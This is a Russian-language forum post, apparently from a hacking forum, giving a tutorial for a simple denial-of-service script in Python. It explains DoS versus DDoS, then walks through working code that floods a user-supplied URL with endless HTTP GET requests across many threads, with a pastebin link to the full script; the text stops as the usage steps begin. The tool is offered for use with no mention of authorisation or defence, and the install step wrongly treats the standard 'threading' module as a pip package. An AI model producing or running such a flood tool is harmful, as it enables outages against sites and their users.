Простой скрипт DOS атаки на Python

megaDED

Сержант
Модератор
Сообщения
34
Реакции
5

Для начала разберемся что такое DOS и в чем различие от DDOS.
DoS (аббр. англ. Denial of Service «отказ в обслуживании») — хакерская атака на вычислительную систему с целью довести её до отказа
Если атака выполняется одновременно с большого числа компьютеров, говорят о DDoS-атаке (от англ. Distributed Denial of Service, распределённая атака типа «отказ в обслуживании»). Такая атака проводится в том случае, если требуется вызвать отказ в обслуживании хорошо защищённой крупной компании или правительственной организации.

Думаю вы поняли. Если проще объяснить различие, то получится так: ddos - много атакующих и одна цель. dos - один атакующий и одна цель.
Цель этой статьи - написание скрипта для отсылки большого количества пакетов на удаленную машину с целью довести её до отказа.
Отказ произойдет на том моменте, когда пакетов будет слишком много и компьютер не будет успевать обрабатывать их и отсылать ответ.
Полный код скрипта вы найдёте здесь: https://pastebin.com/kPSDgJB8

Давайте сначала установим зависимости для нашего Python3. Их всего 3: colorama, requests, threading.
Команда, которой вы можете это всё установить под Linux:

Bash:
sudo apt update && sudo apt install python3-pip && pip3 install colorama && pip3 install threading && pip3 install requests
Объясню для чего нужна каждая зависимость.
colorama - библиотека, которая упростит работу с цветами в консоли. Можете обойтись без неё, использую спец. символы консоли, как в .sh скриптах, либо всё сделать одного цвета.
requests - библиотека, которая позволит отправлять post/get запросы на удаленный сервер.
threading - библиотека, которая обеспечит многопоточность программы. Многопоточность увеличит скорость.

Приступим к написанию.
Сначала импортируем наши библиотеки, которые мы установили несколько минут назад.

Python:
import colorama

import threading

import requests
Дальше напишем функцию, которая будет отправлять запросы и контролировать состояние цели:

Python:
def dos(target):

while True:

try:

res = requests.get(target)

print(colorama.Fore.YELLOW + "Request sent!" + colorama.Fore.WHITE)

except requests.exceptions.ConnectionError:

print(colorama.Fore.RED + "[+] " + colorama.Fore.LIGHTGREEN_EX + "Connection error!")
В этой функции мы входим в бесконечный цикл (кстати он нам не страшен, так как у нас много потоков и это всё работает постоянно.), так как завершать работу программы мы будем сочетанием клавиш Ctrl+C. Так же вы можете модифицировать функцию, например как только сервер начал не отвечать прекратить работу. Ну это дело вкуса. Всё в ваших руках.

Дальше приступим к главному коду.

Python:
threads = 20



url = input("URL: ")



try:

threads = int(input("Threads: "))

except ValueError:

exit("Threads count is incorrect!")



if threads == 0:

exit("Threads count is incorrect!")



if not url.__contains__("http"):

exit("URL doesnt contains http or https!")



if not url.__contains__("."):

exit("Invalid domain")



for i in range(0, threads):

thr = threading.Thread(target=dos, args=(url,))

thr.start()

print(str(i + 1) + " thread started!")
Теперь объясняю. Создаем переменную threads, в которой мы будем хранить количество потоков. Я по умолчанию на 20 поставил. (Это не очень много, чисто поставил для примера). Дальше объявили переменную url, в которую мы запишем домен цели.
Далее мы запрашиваем у пользователя количество потоков, которое он хотел бы использовать. Заметьте мы это делаем в блоке try, если это делать без него, то может выдать исключение, если при преобразовании строки в int попадётся текст.
Дальше мы так же проверяем количество потоков, если их 0, то программа не будет работать. (Ни один поток не запущен - не работает)
Мы проверяем точно ли это ссылка при помощи двух проверок:
  1. Проверка на содержание http/https
  2. Проверка на содержание точки. Если есть точка, то скорее всего после точки идет что-то еще. (Пример: "https://google.com")
Дальше мы создаем в цикле потоки и запускаем их. Ну и так же информируем пользователя о запуске потока под номером i.
Процесс работы:

После того,как мы скопировали код в IDLE,нажимаем Run module(F5)


Вводим URL:


Кол-во потоков: